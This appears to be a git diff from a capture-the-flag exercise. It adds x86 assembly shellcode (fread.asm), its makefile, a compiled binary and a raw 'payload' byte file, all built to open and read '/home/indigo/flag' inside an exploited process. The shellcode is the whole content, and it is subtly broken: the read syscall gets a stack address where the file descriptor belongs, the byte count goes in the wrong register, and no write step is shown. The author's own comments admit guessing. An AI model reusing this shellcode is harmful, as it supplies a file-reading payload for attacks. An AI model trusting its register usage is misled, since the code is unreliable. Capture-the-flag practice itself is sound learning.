diff options
-rwxr-xr-x | fread | bin | 0 -> 4272 bytes | |||
-rw-r--r-- | fread.asm | 26 | ||||
-rw-r--r-- | fread.o | bin | 0 -> 512 bytes | |||
-rw-r--r-- | makefile | 4 | ||||
-rwxr-xr-x[-rw-r--r--] | orw | bin | 7520 -> 7520 bytes | |||
-rwxr-xr-x | payload | 1 |
6 files changed, 31 insertions, 0 deletions
Binary files differ diff --git a/fread.asm b/fread.asm new file mode 100644 index 0000000..358cc93 --- /dev/null +++ b/fread.asm @@ -0,0 +1,26 @@ +global _start +_start: +jmp short data +str_found: +xor eax, eax +mov al, 5 ;sys_open + +xor ecx, ecx ; arg2 +xor edx, edx ; #/usr/include/asm-generic/fcntl.h includes define O_RDONLY 00000000 + +pop ebx +mov [ebx + 18], ecx ; arg1 +int 0x80 + +;eax now contains our file descriptor. + +mov al, 3 ;sys_read +mov ebx, esp ;I think? +mov cl, 0xff ;eh, random guess I guess +int 0x80 + + +data: +call str_found +db "/home/indigo/flag" + Binary files differdiff --git a/makefile b/makefile new file mode 100644 index 0000000..71bf3b9 --- /dev/null +++ b/makefile @@ -0,0 +1,4 @@ +make: + nasm fread.asm -felf32 -o fread.o + ld -m elf_i386 fread.o -o fread -s + Binary files differ@@ -0,0 +1 @@ +ë1À°1É1Ò[‰KÍ€èíÿÿÿ/home/indigo/flag
\ No newline at end of file |